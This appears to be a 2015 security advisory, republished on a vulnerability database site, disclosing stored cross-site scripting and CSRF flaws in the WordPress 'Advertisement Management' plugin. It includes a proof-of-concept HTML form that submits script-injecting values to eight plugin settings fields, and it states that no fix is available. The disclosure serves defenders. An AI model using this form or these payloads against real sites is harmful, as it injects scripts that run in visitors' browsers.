`Title: WordPress 'Advertisement Management' Plugin
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/advertisement-management/
- https://plugins.svn.wordpress.org/advertisement-management/
Notified WordPress: 2015-06-21
==========================================================
## Plugin description
==========================================================
Advertisement Management lets you administrate all the blog advertisements diretctly from the blog backend.
## XSS/CSRF vulnerabilities
==========================================================
The settings on the admin page is vulnerable to XSS.
PoC:
Log in as admin and submit the this form
<form method="POST" action="[URL]/wp-admin/options-general.php?page=Advertising_page&action=update">
<input type="text" name="Advertising_front_page" value="</textarea><script>alert(1)</script>"><br />
<input type="text" name="Advertising_single_top" value="</textarea><script>alert(2)</script>"><br />
<input type="text" name="Advertising_single_bottom" value="</textarea><script>alert(3)</script>"><br />
<input type="text" name="Advertising_page_top" value="</textarea><script>alert(4)</script>"><br />
<input type="text" name="Advertising_page_bottom" value="</textarea><script>alert(5)</script>"><br />
<input type="text" name="Advertising_below_commentbox" value="</textarea><script>alert(6)</script>"><br />
<input type="text" name="Advertising_blog_top" value="</textarea><script>alert(7)</script>"><br />
<input type="text" name="Advertising_below_footer" value="</textarea><script>alert(8)</script>"><br />
<input type="submit">
</form>
After having done this, some of the injected scripts will be executed when loading the front page of the site.
## Solution
==========================================================
No fix available
==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation